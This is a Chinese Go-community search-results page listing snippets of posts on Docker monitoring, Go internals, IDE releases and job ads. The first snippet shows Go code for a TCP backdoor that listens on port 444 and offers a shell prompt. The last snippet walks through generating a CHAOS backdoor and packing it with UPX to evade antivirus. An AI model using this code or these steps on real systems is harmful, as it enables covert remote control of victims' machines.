Go语言中文网 为您找到相关结果 208

Golang 写的后门程序

package main import ( "fmt" "net" "os/exec" "strings" ) var left = "#shell:" func main() { ln, err := net.Listen("tcp", ":444") buffRecv := make([]byte, 128) if err != nil { err.Error() } for { conn, err := ln.Accept() showMSG(conn) if err != nil { continue } c := []byte(left) for { conn.Write(c) length, err := conn.Read(buffRecv) if length == 10 {...阅读全文

博文 2015-02-10 19:00:01 未来还没来

六大下一代Docker监测工具

![alt 文本](http://blog.tenxcloud.com/wp-content/uploads/2015/09/docker%E7%9B%91%E6%B5%8B%E5%B7%A5%E5%85%B7-300x227.jpg ) 容器:这里面什么才是最重要的?container monitoring,一项可以帮助你了解容器内发生什么以及让你获得某种支持的技术,随着Docker自身的monitoring 和 introspection技术API的成熟,已经有最新一波的容器监测技术利用到它们。 以下列举6个Docker相关的监测App和服务,从简单的开源工具到复杂的企业整体解决方案。 ## cAdvisor 谷歌的container introspection...阅读全文

Macbook Pro上运行windows to go

今年一咬牙入手了台Macbook Pro,操作系统为Sierra,其他都还满意,无奈当时为节约成本硬盘配置只有128G。一般来讲,128G对于上网、娱乐以及编程够用,但是工作上需要安装visual studio开发环境,虽然vs2017也提供了mac版,实在是不喜欢mac vs的风格。接下来有两个选项: 安装虚拟机 在虚拟机里配置win10,然后安装vs,但是有个问题,虚拟机虽然切换比较方便,对资源比如内存的占用不可不忽视,作为入门级的macbook还是要慎重; 安装双系统 安装双系统,苹果公司已经考虑到windows的强势,主动提供了安装工具bootcamp助理,可以将win10安装在本地,启动时选择运行mac还是win10,但是问题还是自带硬盘太小,装完win10后所剩无几。 自然而然想...阅读全文

博文 2017-09-06 22:31:02 topsun888

招聘招聘~靠谱公司招募Golang工程师~搭建Dokcer私有云。

职位描述 1. 基于上百PB级别的大数据平台,保障系统24×7稳定运行; 2. 和架构团队一起持续优化线上系统,并进行前瞻性容量规划; 3. 设计和实现数据业务线监控报警系统、自动构建部署系统、集群部署系统、数据资产管理系统等; 4. 积累并规范化系统运维的最佳实践并文档化; 5. 开发运维自动化工具,持续提升工作内容的自动化比例。 职位要求 1. 有至少1年的Linux系统使用和管理经验; 2. 熟悉至少1种关系型数据库(如MySQL、SQL Server等); 3. 熟悉常见应用配置及优化,如Nginx / MySQL/ DNS/ Postfix等; 4. 有1年以上Python或golang开发经验; 5. 了解...阅读全文

Go Hashmap内存布局和实现

想了解Go内置类型的内存布局的契机,是一次在调试“不同类型的小对象频繁创建对gc性能的影响”时发现map的gc性能不佳,而作为对比的包含slice的struct却很好。这里总结Go runtime里map的实现,可以解释这个问题。 hash table内部结构Go的map就是hashmap,源码在src/runtime/hashmap.go。对比C++用红黑树实现的map,Go的map是unordered map,即无法对key值排序遍历。跟传统的hashmap的实现方法一样,它通过一个buckets数组实现,所有元素被hash到数组的bucket中,buckets就是指向了这个内存连续分配的数组。B字段说明hash表大小是2的指数,即2^B。每次扩容会增加到上次大小的两倍,即2^(B+1)...阅读全文

博文 2017-12-18 13:58:29 nino's blog

一.Go安装和工作目录的配置

1.下载地址 https://golang.org/dl/ 这里下载windowsx64.msi文件 正常的exe文件在windows下安装就可以了。 2.基本配置说明 Paste_Image.png GOARCH-架构 GOBIN 工作目录下的详情文件夹 GOEXE 生成可执行文件的后缀 HOST 交叉编译系统 HOSTARCH 交叉编译的CPUOS 当前系统的系统名称PATH 工作目录ROOT 安装目录 工作目录下的结构bin(存放编译后生成的可执行文件)pkg(存放编译后生成的包文件)src(存放项目源码) GOPATH目录配置到计算机的环境变量中添加 Paste_Image.png 多个的话用;分...阅读全文

Go语言开发工具 LiteIDE x10 发布

GO语言开发工具liteide x10发布,更新了GO调试插件。 LiteIDE项目: 操作系统: Windows / Linux x86 / Linux x86_64 / MacOS X 10.6 项目主页: http://code.google.com/p/golangide 项目源码 : http://code.google.com/p/liteide 讨论组: http://groups.google.com/group/liteide-dev 下载链接: http://code.google.com/p/golangide/downloads/list IDE基本特性: 以MimeType为基础构建的IDE环境变量管理和切换功能源码编译系统管理和切换功能简洁和开放的调试系统KATE...阅读全文

5亿次请求,95万QPS HTTPS CC攻击——阿里云云盾抗下全球最大DDoS攻击

5亿次请求,95万QPS HTTPS CC攻击——阿里云云盾抗下全球最大DDoS攻击 3月29日, 阿里云正式对外发布《2015下半年云盾互联网DDoS状态和趋势报告》。报告披露,去年11月,阿里云安全团队成功防御了黑客对阿里云平台上某互联网金融用户发起的超大规模HTTPS/SSL CC流量攻击,此次攻击也是迄今为止全球有统计数据最大的HTTPS SSL/CC攻击。 作为国内最大的公共云计算服务提供商,大量网站选择阿里云的安全防护,也因此为国内客户防御了当前互联网上主要的攻击行为。 攻击者从11月5日下午14点开始针对网站开始发起攻击,出现两次波峰分别在14点10和晚上7点30左右,总攻击量达到了5亿次请求。 ![1攻击请求QPS变化.jpg](http://stu...阅读全文

Golang 编写 Windows 服务

package main import ( "fmt" "log" "github.com/kardianos/service" ) var serviceConfig = &service.Config{ Name: "serviceName", DisplayName: "service Display Name", Description: "service description", } func main() { // 构建服务对象 prog := &Program{} s, err := service.New(prog, serviceConfig) if err != nil { log.Fatal(err) } // 用于记录系统日志 logger, err := s.Lo...阅读全文

博文 2018-05-06 11:33:04 八风不动

用Go来编写分布式系统,相比用C/C++的好处

文链接:https://www.zhihu.com/question/27277398 Go 支持 Goroutine,超轻量级的线程。在高并发的系统中,可以按照多线程的方式写程序,从而保证逻辑的清晰和简单,又可以获得非常高的性能。 同样的事情在C++中,如果用多线程,会导致系统线程过多带来大量的上下文切换overhead;如果采用基于消息的架构,虽然可以获得较高的效率,但程序逻辑会被打散,可读性和可维护性较差。 此外,Go 有最强大的接口,从而可以放弃 C++ 的继承+虚方法覆盖的编程方式,对于复杂系统来说前者具有更好的可维护性...阅读全文

博文 2016-08-10 20:00:00 hellochenlu

Golang - 调度剖析【第一部分】

简介 首先,Golang 调度器的设计和实现让我们的 Go 程序在多线程执行时效率更高,性能更好。这要归功于 Go 调度器与操作系统(OS)调度器的协同合作。不过在本篇文章中,多线程 Go 程序在设计和实现上是否与调度器的工作原理完全契合不是重点。重要的是对系统调度器和 Go 调度器,它们是如何正确地设计多线程程序,有一个全面且深入的理解。 本章多数内容将侧重于讨论调度器的高级机制和语义。我将展示一些细节,让你可以通过图像来理解它们是如何工作的,可以让你在写代码时做出更好的决策。因为原理和语义是必备的基础知识中的关键。 系统调度 操作系统调度器是一个复杂的程序。它们要考虑到运行时的硬件设计和设置,其中包括但不限于多处理器核心、CPU 缓存和 NUMA,只有考虑全面,调度器才能做到尽可能地高效...阅读全文

博文 2018-08-16 17:35:43 sxssxs

Go 在 Google I/O 2011 的视频

Google I/O 2011 的官方视频大部分都已经放出了。昨天 Golang 团队也发布了 Google I/O 2011 上关于 Go 的相关视频。 由于众所周知的原因,大家不能拜访“油吐伯”。所以视频我放到土豆上了。 大家看到的这个蓝色毛绒公仔叫“Gopher”,很有爱的 Golang 吉祥物,这次也出现在 Google I/O 2011 的现场。 不知道能不能搞到一个正版的。其实我严重怀疑这个来自悉尼的公仔是东莞产的……你们懂…… 用 Go 编写 Web 应用 演示文稿下载(英文) 这个演讲通过一步步开发并部署第一个 Go App Engine 应用:Moustachio,展示了 Go 版本的 App Engine 的应用开发。 Go 实例 演示文稿下载(英文) 这是在 I/O B...阅读全文

博文 2014-10-09 16:15:37 mikespook

go在windows下执行系统命令调用问题?求教

如图执行, 加上find执行的失败,如果把管道后面find去除,可以成功执行。也就是这种方式 调用系统命令是正确的,是不是windows用go执行find会有权限问题呢?![8DCB.tmp.png](http://studygolang.qiniudn.com/160902/c42556e3525091a2d0c14a3aadf481b6.png)![8DCB.tmp.png](http://studygolang.qiniudn.com/160902/c42556e3525091a2d0c14a3aadf481b6.png...阅读全文

双轨制会员积分系统

简要的说:双轨制会员积分系统模拟分销,代理的逻辑相互推荐节点的产生1倍增2的原理。 奖金计算已经搞定,方便积分商城,分销融资系统二次开发和扩展。 演示地址:[http://124.173.125.140:2000](http://124.173.125.140:2000/) 用户名:15100000000 密码:123456 **开发和运行环境:** 具备linux系统环境: 安装好 nginx 修改 nginx.local.conf 中的静态文件指向 ( kingbloc.web ) 本地目录 mysql 数据库 redis 缓存工具 更改配置(.ini)文件数据库链接信息 开发语言:golang1.8+ ;数据库映射:XORM 消息系统:Nsq; 键值存储:Et...阅读全文

mysql5.6 rpm安装后运行错误

mysql5.6.16,rpm安装后运行,日志内出现以下错误: 2014-01-30 00:52:59 17504 [Warning] Buffered warning: Performance schema disabled (reason: init failed). 2014-01-30 00:52:59 17504 [Note] Plugin 'FEDERATED' is disabled. 2014-01-30 00:52:59 17504 [Note] InnoDB: The InnoDB memory heap is disabled 2014-01-30 00:52:59 17504 [Note] InnoDB: Mutexes and rw_locks u...阅读全文

关于select的无法退出的问题

想实现一个主程序在监听多个channel的练习。如下,我理解只输出一次就会退出,但是实际上,似乎跑了个死循环,问题出在哪里? ```golang package main import ( "fmt" "time" ) func put(c chan<- string, msg string) { time.Sleep(time.Second * 1) //for i := 1; i < 10; i++ { c <- msg //} close(c) } func main() { c1 := make(chan strin...阅读全文

将技术普惠进行到底,阿里云全网爆款最低30元/月

让天下没有难做的生意蜕变为如今的阿里巴巴,打造世界上最清洁的汽车让特斯拉成为人们都渴望拥有的座驾,为哈佛同学提供互相联系的网站造就了如今的Facebook……时至今日,在大量遭受“嘲笑”的想法创造了传奇的同时,我们也看到数之不尽“靠谱”的创新倒在了前行的路上。诚然,兑现想法需要太多的努力与机遇,然不积跬步无以至千里,为了促成更多创新,在这一年大计之时,阿里云特针对个人与企业推出3大“全网爆款”,从成本与技术两个方面助君打通前行路上的第一步,让想法不再只是一个想法。 活动地址:(http://click.aliyun.com/m/18483/) ![无标题.png](http://studygolang.qiniudn.com/170425/4afc3e07a6d6ee7fce45f...阅读全文

上海证券交易所内部直招18K-30K招Go运维开发工程师

金融科技公司,中国资本力量需要你为Fintech 贡献力量。 在这里你可以尝试做新技术的尝试,例如区块链的交易技术,接触到核心竞价撮合系统,我们采用大量的开源系统来构筑交易监管环境 您将会参与到公司Paas类产品的前端及后端系统研发, 帮助我们构建一个高可用,高性能的系统。 负责云计算平台Web程序开发。 负责云计算产品API开发。 最后,我们痛恨"“勤劳”", 希望您也能一起来完善和改进我们的开发,测试,运维,运营等一系列自动化工具。 工作要求: 1. 精通Unix/Linux操作系统下的后台开发 2. 熟悉HTTP,TCP/IP等网络协议,熟悉网络编程 3. 熟练掌握数据库设计优化、缓存、负载均衡等技术; 4. 扎实的软件知识结构(操作系统、软件工程、设计模式...阅读全文

文件变更监听通知系统fileboy

fileboy,文件变更监听通知系统,使用 GO 编写。 适用于 Hot Reload (典型的如开发go项目,无需每次手动执行 go build;又比如前端 node 打包) 或者 系统监控的场景。 go version >=1.10 [正式版 v1.0](https://github.com/dengsgo/fileboy/releases) 直接下载已经编译好的对应平台二进制文件,加入系统 Path 中即可。 clone 该项目,进入主目录,运行命令: fileboy 的正常运行依赖于 `filegirl.yaml` 配置,所以首次在项目中使用需要初始化 `filegirl.yaml`。 进入你想要 hot reload 的项目主目录下; 运行 `fileboy ...阅读全文

理解go func背后发生了什么

看一段代码 func main() { wg := sync.WaitGroup{} wg.Add(20) for i := 0; i < 10; i++ { go func() { fmt.Println("A: ", i) wg.Done() }() } for i := 0; i < 10; i++ { go func(i int) { fmt.Println("B: ", i) wg.Done() }(i) } wg.Wait() } 输出结果: A: 4 A: 10 A: 10 A: 10 B: 2 A: 10 A: 10 A: 10 B: 9 B: 3 B: 4 B: 5 B: 6 A: 10 B: 0 B: 1 A: 10 A: 10 B: 8 B: 7 结论: A与B所在的协...阅读全文

博文 2019-07-01 22:02:42 无上法门

静态博客生成器CHCA

一个使用 golang 开发的博客生成器。 chca init 用于初始化博客,会自动生成config.yml 初始化以后需要在config.yml文件同目录下创建theme文件夹用于存放模板文件 模板文件夹结构 blog 模版文件夹 -- assets 资源文件夹 -- -- css -- -- js -- layout 布局文件夹 -- -- main.html 公共布局 -- -- index.html 主页 -- -- post.html 文章页 -- -- archive.html 导航导航页 -- -- category.html 分类导航页 -- -- tag.html 标签导航页 -- -- page.html 标签、导航和分类列表页面 新建m...阅读全文

windows to go模式下的引导加密的win8系统修复

win8 X64 企业版,系统蓝屏提示“INACCESSABLE_BOOT_DEVICE”,,不想重装;安全模式也是进不去,所以就尝试用系统盘进行系统修复,但是在修复的时候提示说系统盘被加密,需要解锁之后才可以修复 于是就先: manage-bde -unlock -password c: 然后输入密码去解锁,然后要去除加密: manage-bde -off c: 提示解密进行中,然后就回来了,而不是显示进度条,我还以为完成了,于是就退出,结果修复还是提示未解锁 然后想起来应该用status看一下的,于是重新上述步骤;然后还是提示下解密进行中就结束 了,于是就: manage-bde -status 果然看到,还是“转换状态”是解密进行中,于是等待; 就是不知道直接用manage-bde a...阅读全文

博文 2016-01-26 22:00:03 a904254

Go语言开发工具 LiteIDE x12 发布

GO语言开发工具liteide x12发布,增强对GO1的支持。 LiteIDE项目: 操作系统: Windows / Linux x86 / Linux x86_64 / MacOS X 10.6 项目主页: http://code.google.com/p/golangide 项目源码 : http://code.google.com/p/liteide 讨论组: http://groups.google.com/group/liteide-dev 下载链接: http://code.google.com/p/golangide/downloads/list更新记录: http://code.google.com/p/golangide/wiki/changes快捷键: http://c...阅读全文

博文 2014-11-15 13:00:11 visualfc

go 协程与主线程强占运行

最近在学习了go 语言 , 正好学习到了 协程这一块 ,遇到了困惑的地方.这个是go语言官方文档 . 在我的理解当中是,协程只能在主线程释放时间片后才会经过系统调度来运行协程,其实正确的也确实是这样的,但是我遇到了协程强占主线程的一个问题,经过帮助,现在已经了解.废话不多说,先看代码 1 package main 2 3 import ( 4 "fmt" 5 "time" 6 ) 7 8 func main() { 9 go say("world") 10 say("hello") 11 /* 12 fmt.Println("---------------1") 13 14 a := []int{7, 2, 8, -9, 4, 0} 15 fmt.Println("===", a[:len(...阅读全文

博文 2017-02-17 15:00:14 qo2yycc2

Go1.3新特性 栈的全新实现—连续栈(1)

创文章,转载请注明出处:服务器非业余研究http://blog.csdn.net/erlib 作者Sunface 前言 在之前的Go1.3改动中提到过栈的实现从分段实现(segment stack)变为连续栈实现(Contiguous statck),这个改动不可谓不大,那会给我们带来什么影响呢?请参见下文 连续栈 给每个goroutine 都分配一块内存作为连续的栈,通过重新分配/复制来增长。 为什么需要连续栈 当前的栈分割技术有一个很大的问题:"hot split"(热分割)——如果栈快满的时候,一个额外的调用就会强制分配新的栈块(Stack chunk),当调用返回的时候,新分配的栈块就会被释放回收,这种情况下,如果同一个调用连续执行,过度的alloc/free会导致系统性能的显著降低...阅读全文

博文 2016-02-02 16:00:01 abv123456789

Debian Gnu/Linux8.5安装GOLANG环境笔记

1、下载平台相关GOLANG文件,因为朝内墙了GOLANG官网,只能使用朝内GOLANG热心小伙伴提供的下载方式 2、tar -zxvf go1.6.2.linux-amd64.tar.gz -C /usr/local 3、vi /etc/profile 添加如下内容(红字部分为添加内容): # /etc/profile: system-wide .profile file for the Bourne shell (sh(1)) # and Bourne compatible shells (bash(1), ksh(1), ash(1), ...). if [ "`id -u`" -eq 0 ]; then PATH="/usr/local/sbin:/usr/local/bin:/us...阅读全文

博文 2016-08-04 20:00:12 ak_birdofprey

动态变化的 json 解析 求指导

##### 有如下需求: ##### 1) 给应用系统分类,确定组成部份,并构建一个关系树(左树) ##### 如 一个应用系统 按功能来划分成 web,api,db,cache,mq等等组成, 应用系统作为一级根,web,api这些作为二级根,服务名称,主机名,cpu,mem,disk作为三级展示. 有些应用并非使用到 如 mq, 所以二极根是动态变化的. #####如下代码有些问题,求指导: 怎样获取整个json数据 ``` package main import ( "encoding/json" "fmt" ) type Systree struct { Sysname []Sys `"json:sysname"` } type...阅读全文

【钱旺】高薪诚聘IM后端架构师大牛加入(社交媒体)

职位描述: 负责公司核心IM(即时通信)系统服务器端模块设计、实现, 包括不限于消息底层编解码,大并发连接处理,语音通信,视频通信能力。 职位需求: - 4年以上相关工作经验,精通Go的语言特性以及后端系统架构 - 熟悉各种SQL、NoSQL数据库应用场景 - 有使用golang构建大型IM系统的经验,给公司当前im系统增加实时视频,实时语音等能力。 - 优异的沟通能力 高端大气上档次的办公环境,开放式办公,咖啡吧提供下午茶点心,五险一金待遇优厚,周末双休 公司地址:上海市静安区南京西路1266号恒隆广场一期58楼 有意向者,可将简历发送至xuejing@qbao.co...阅读全文

windows go开发环境(3) IDE

git的命令行git bash用起来虽然很方便,但是有时不够直观。 git同时提供了git GUI工具。 windows下也可以使用更强大的sourcetree工具(同时支持gir,hg,svn,便于多项目查看)。 不过我对装.net framework总是心有芥蒂。能不用就不用了。 还可以在sublime里面安装sublimegit插件。这样就可以直接在sublime里面完成git status, git commit,git diff,git push等操作。 sublime3自带 go.sublime,支持go的语法高亮和补全、 还需要添加sublime下的go编译系统,在sublime下选择【工具菜单】,选择【编译系统】,继续选择【新编译系统】,在弹出的文件内写入如下代码: { "c...阅读全文

博文 2016-08-24 11:00:02 laputa73

[北京][东四北新桥]好贷网云金融事业群寻 Golang 中高级工程师

我们是当下最红火的行业:网络小贷。 我们的 app https://itunes.apple.com/cn/app/id1168872199?mt=8 由于业务的飞升,我们需要几名 Golang 中高级工程师一起共创辉煌。 云金融事业部 Golang 中高级工程师 岗位职责:负责网络小贷相关后台风控,催收,交易系统对接和开发 基本要求:2 年以上 WEB 实战经验 半年以上 Golang 使用经验。 薪资访问:13k-30k 工作地点:北京东四北大街科林文化产业园 这里,你已经有 2 个 Golang 工程师伙伴了,你不会孤独的。 欢迎各位鼎力加盟. 联系:luojianguo#haodai.net 注意邮件标题为:xxx 应聘...阅读全文

使用go build 进行条件编译

当我们编写的Go代码依赖特定平台或者cpu架构的时候,我们需要给出不同的实现 C语言有预处理器,可以通过宏或者#define包含特定平台指定的代码进行编译 但是Go没有预处理器,他是通过 go/build包 里定义的tags和命名约定来让Go的包可以管理不同平台的代码 这篇文章将讲述Go的条件编译系统是如何实现的,并且通过实例来说明如何使用 1. 预备知识:go list命令的使用 在讲条件编译之前需要了解go list的简单用法 go list访问源文件里那些能够影响编译进程内部的数据结构 go list与go build ,test,install大部分的参数相同,但是go list不会执行编译操作。使用-f参数可以让我们提供的text/template里的代码在包含go/build.P...阅读全文

博文 2017-01-09 03:00:02 henrylee2cn

列出和诊断系统上运行的Go进程的工具gops

gops 是列出和诊断当前在您的系统上运行的 Go 进程的命令。 对于启动诊断代理的进程,gops 可以报告其他信息,例如当前堆栈跟踪,Go 版本,内存统计信息等。 为了启动诊断代理,请参阅[hello示例](https://github.com/google/gops/blob/master/examples/hello/main.go)...阅读全文

用于保护 tcp 流量的安全隧道shadowtunnel

shadowtunnel 是一款可以在你本地机器和远程服务直接建立安全的加密隧道,保护你的 tcp 流量,能高效压缩传输,流量无特征。 local machine <----> shadowtunnel <---> service on remote. 1.http 代理 假设有一个 vps,它的 IP 是 2.2.2.2 首先在 2.2.2.2 启动一个 http 代理 然后下载 http 代理程序,使用 root 权限在 vps 上执行下面的命令: `wget https://github.com/snail007/goproxy/releases/download/v4.9/proxy-linux-amd64.tar.gz &&...阅读全文

开源项目 2018-06-19 16:30:00 网友

[区块链+游戏平台]招聘Golang服务端开发工程师

Golang服务端开发工程师   薪资范围:15k~20k   项目:区块链+游戏平台相关项目   工作内容: 1、应用Go语言(Golang)开发手机端社区及游戏分发平台后端系统; 2、和项目负责人、策划等沟通项目需求、提供技术解决方案和实现; 3、区块链智能合约对接平台的开发方案解决。     岗位要求: 1、开发经验3年以上,Golang经验1年以上。 2、热爱技术,对区块链行业有一定了解,有良好的学习/沟通/协作能力; 3、思路清晰,有良好的问题分析和解决能力; 4、有一定分布式系统设计和实现经验,了解后端系统特性和概念; 5、精通Golang、C++(或C)的开发/运营环境和工具链; 6、熟悉MySql等数据库系统引用;有Java经验; 7、熟...阅读全文

golang同时监听TCP、HTTP端口提供服务

项目入口 main.go 中,之前是监听 TCP 连接,代码大致如下: package main import ( "fmt" "net" "net/http" ) func main() { http.HandleFunc("/hi", Router) go http.ListenAndServe("127.0.0.1:8080", nil) server, err := net.Listen("tcp", "127.0.0.1:9090") if err != nil { panic(err) } defer server.Close() for { conn, err := server.Accept() if err != nil { continue } go handleConn...阅读全文

博文 2019-04-14 22:34:42 faunjoe

LiteIDE X32 已发布

源码 https://github.com/visualfc/liteide 网站 http://liteide.org LiteIDE X32 在界面会话、编译系统、源码编辑、代码分析等方面有了很大改进,从去年开始重写的 MulitFolderModel 也终于完成合并到 LiteIDE 的目录窗口中。 提供了更多的界面主题和编辑器配色,感谢 HopeHook 支持外部图标加载功能 支持会话切换功能(会话保持自己的目录和文件) 编译目录支持自定义 GOPATH 编译目录支持更多的设置 调试插件/Go编辑插件支持编译目录的 BUILDFLAGS -tags 设定 完善 Go 代码导航和重构功能 ...阅读全文

CHAOS-简单实用的后门生成工具

CHAOS是一款非常简单实用的后门生成和监听工具,GitHub传送门 由于CHAOS是用Go语言编写的,因此第一步要安装Golang和UPX package,后者可以自动给生成的后门程序加上UPX的壳 root权限运行 apt install golang upx-ucl -y 拉取项目到本地 git clone https://github.com/tiagorlampert/CHAOS.git 运行 cd CHAOS/ go run CHAOS.go 进入下面的界面 可以看到有五个参数,第一个是本机IP地址,第二个是监听的端口,第三个是后门的名字,第四个询问是否加UPX壳,建议加上,有利于免杀,最后是询问是否现在开始监听,选择Y 可以看到开始监听,此时我们将CHAOS目录中的backdo...阅读全文

博文 2018-09-15 01:34:40 TryHard3r